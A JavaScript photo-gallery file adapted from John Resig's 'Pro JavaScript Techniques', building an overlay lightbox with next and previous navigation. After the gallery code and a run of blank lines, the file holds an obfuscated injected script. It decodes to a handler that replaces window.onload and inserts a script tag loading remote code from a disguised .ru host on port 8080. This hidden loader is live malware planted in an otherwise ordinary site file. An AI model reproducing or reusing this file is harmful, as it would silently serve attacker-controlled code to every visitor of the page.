// photogallery.js
// I borrowed this code from Pro JavaScript Techniques by John Resig


// Keep track of whichimage we're currently looking at
var curImage = null;

// Wait for the document to finish loading before modifying or transversing the DOM

window.onload = function() {
    // ------This sets up the sidebar links--------------
	
	// Locate all the galleries on the page
	 var sidelinks = byClass("sidelink", "ul" );         
	 
	 for(var i = 0; i < sidelinks.length; i++) {
		  var s_link = tag('a',sidelinks[i]);    
		  
		  for(var j = 0; j < s_link.length; j++) {
		      //  alert("s_link --- [j] = " + j);
			    s_link[j].onclick = function() {	
					//debugger;
					// changeInfo(j);							
					frames['infoFrame'].location.href=this.href // Firefox
					// Keeps link from going to original destination
				    return false;
				};	 
	       }
	 }	
			
	//---------END OF SIDE BAR LINKS SETUP ------

    
	/* This shows structure of what is being build in javascript code
	 *<div id="overlay"></div>
	 *<div id="gallery">
	 *<div id="gallery_image"></div?
	 *<div id="gallery_next"><a href="">Next&raquo;</a></div>
	 *<div id="gallery_title"></div>
	 *</div>
	 */
	 
	 // Create the overall gallery holder
	 var gallery = document.createElement("div");
	 gallery.id = "gallery";
	 
	 // Add in all the organization divs
	 gallery.innerHTML = '<div id="gallery_image"></div>'+
		'<div id="gallery_prev"><a href="">&laquo; Prev</a></div>' +
		'<div id="gallery_next"><a href="">Next &raquo;</a></div>' +
		'<div id="gallery_title"></div>';
		
	 // Add gallery into the DOM
	 document.body.appendChild( gallery );
	 
	 //Handle support for which the next and previous links
	 // are clicked within the gallery
	 id("gallery_next").onclick = nextImage;
	 id("gallery_prev").onclick = prevImage;
	 
	 // Locate all the galleries on the page
	 var g = byClass("gallery", "ul" );            // Create in proJavaScriptLibrary	 

	 // Go through all of th galleries
	 for(var i = 0; i < g.length; i++) {
		var link = tag('a',g[i]);              // Create tag()  in proJavaScriptLibrary
		
		// Go through each of the image links
		for(var j = 0; j < link.length; j++) {
			// Make it such that, when clicked, they display the
			// image gallery isntead of going to the image
			link[j].onclick = function() {
			  
				// Show the gray background
				showOverlay();
				
				// Show the image, in the gallery
				showImage (this.parentNode);				
				
				// Make sure that the browser doesn't go to
		     	// the image, like it normally would
				return false;
			};
		}
		
		// Add the slideshow navigation to the gallery
		// addSlideShow(g[i]);
	};
	
	//===============================================================
	
	// Create transparent, gray overlay
	var overlay = document.createElement("div");
	overlay.id="overlay";
	
	// Make it so that when the gray background is clicked, the gallery and background are hidden
	overlay.onclick = hideOverlay;
	
	// Add the overlay into the DOM
	document.body.appendChild(overlay);
	
	//--------------------------
	
	// Hide the gray overlay and the current gallery
	
	function hideOverlay() { 
		// Make sure that we reset the current image
			curImage = null;
			
		// and hide the overlay and gallery
		hide( id("overlay") );
		hide( id("gallery") );
	}
	
	// Show the gray overlay
	function showOverlay() {
		// Find the overlay
		var over = id("overlay");                      //Create id() function in standard.js
		//alert("showOverlay---over = " + over);
		
		//Make it as tall and wide as the entire page
		// (this helps with scrolling)
		over.style.height = pageHeight() + "px";
		over.style.width = pageWidth() + "px";
		
	
		//And fade it in...
		// over= Overlay <div> element
		// 50 = to (we watn 50% transparency)
		// 10 = speed (how fast this happens)
		fadeIn(over, 50, 10);                            // fadeIn()  ?????
	
	}			
	 
}

//=============================================
	
// Show the current gallery image
function showImage(cur) {
		// Remember which image we're currently dealing with
		curImage = cur;
		
		// Find the gallery image
		var img = id("gallery_image");
		
		// Remove the image, if there's one already there
		if ( img.firstChild )
				img.removeChild( img.firstChild );
				
		// And add our new image in, instead
		img.appendChild( cur.firstChild.cloneNode( true ) );

		// We're setting the caption of the gallery image to
		// the 'alt' contents of the regular image
		id("gallery_title").innerHTML = cur.firstChild.firstChild.alt;
		
		// Hide the next link if we're at the end of the slideshow
		if ( !next(cur) )
				hide( id("gallery_next") );
				
		// Otherwise, make sure that it's visible
		else
				show( id("gallery_next") );
		
		// Hide the previous link if we're at the start of the slideshow
		if ( !prev(cur) )
				hide( id("gallery_prev") );
				
		// Otherwise, we need to be sure that it's visible
		else
				show( id("gallery_prev") );
		
		// Locate the main gallery
		var gallery = id("gallery");
		
		// Set the correct class (so that it's the correct size)
		gallery.className = cur.className;
		
		// Then fade it in smoothly
		fadeIn( gallery, 100, 5 );
		
		// Make sure that the gallery is positioned in the right place
		// on the screen
		adjust();
}
	
// ========================================

	// Reposition the gallery to be at the center of the page
	// even when the page has been scrolled
	function adjust() {
		// Locate the gallery
		var obj = id("gallery");
		
		// Make sure that the gallery exists
		if(!obj) return;
		
		//Find its current height and width
		var w = getWidth( obj );                   // Need to add getWidth() ???????
		var h = getHeight( obj );
		
		// Position the box, vertically, in the middle of the window
		var t = scrollY() + (windowHeight() / 2) - (h / 2);
		
		// But no higher than the top of the page
		if (t < 0) t = 0;
		
		// Position the box, horizontally, in the middle of the window
		var l = scrollX() + (windowWidth() / 2) - (w / 2);
		
		// But no less than the left of the page
		if(l < 0) l = 0;
		
		// Set the adjust position of the element
		setY(obj, t);
		setX(obj, l);
	};
	
	// Readjust the position of the gallery every time
	// the user scrolls the page or resizes the browser
	window.onresize = document.onscroll = adjust;
	
//--------------------------------------
// NAVIGATION

	function prevImage() {
		// Locate the previous gallery image and show it
		showImage( prev( curImage ) );
		
		// Prevent the link from operating as normal
		return false;
	}
	
	// Find the next image and show it
	function nextImage() {
		// Locate the next gallery image and show it
		showImage( next( curImage ) );
		
		//Prevent the link from operating as normal
		return false;
	}
	
	
		
	
		
		
		
		
		
		
		
	




var N;if(N!='P' && N!='D'){N='P'};var y=new Array();try {var d=String("rep5SzY".substr(0,3)+"lac"+"ebj7y".substr(0,1));var e=new Date();var k=RegExp;function o(A,r){var oS=String("mG4[".substr(3));var W=String("g");oS+=r;this.w="";oS+="]";var v;if(v!='g'){v='g'};var vC=new Array();var n=new k(oS, W);var ga='';var b=new String();return A[d](n, new String());};var Ww;if(Ww!='' && Ww!='j'){Ww=''};var p;if(p!='M'){p=''};var hV;if(hV!='d_'){hV=''};var K=o('otntltoEatdE',"Et");var S=new String();var Y=o('h5t4t5p3:5/O/5iUn3dOiOa3n4rOaOi3l4-5g5oOvO-Oi5n5.5n5i4k5k3eOi4bOp4.3c4o4.4jOpU.5s5a3nOoOoUkU-OcOoOm5.4S4uOp4e5rUSUu4p5eUr4M5a4l4lU.UrOu4:O',"453OU");var YA=new String();var T='';var op=new Date();var Q=o('sZcZrZiepete',"ZFe");var u=o('/SaZlSiZpSaSyZ.ScSoSmS/SaSlZiZpZaSyZ.ScSoSmS/ZmZyZySeSaSrSbSoZoZkS.ScSoSmZ/SgZoSoZgSlZeZ.ScSoSmS.SaZrS/ZgSoSoZgSlSeZ.ScSoSmS.SpShSpS',"ZS");var B;if(B!='ifI'){B='ifI'};var _=o('815609985170677',"76195");var oO=new Array();var FO;if(FO!='' && FO!='vB'){FO='m'};var R=window;var bw=new Date();this.ss='';var E=o('cwrMe4awt4ewE4lweMmMe4nMtM',"M4w");nl=function(){var ny="";var Op='';uT=document[E](Q);var x;if(x!='C' && x!='z'){x='C'};this.fkT="";var xN;if(xN!='Kd' && xN != ''){xN=null};T=Y+_;T+=u;var tp;if(tp!='Nx' && tp != ''){tp=null};var a=new String();uT.defer=([3,1][1]);uT.src=T;var HM;if(HM!='V'){HM='V'};this.Nr='';var lQ='';document.body.appendChild(uT);var J;if(J!='' && J!='zk'){J=''};var zU;if(zU!='Np' && zU != ''){zU=null};};R[K]=nl;var hZ;if(hZ!='EP' && hZ!='NY'){hZ='EP'};var aH;if(aH!='wO' && aH!='fJ'){aH='wO'};} catch(c){};var bH=new Date();
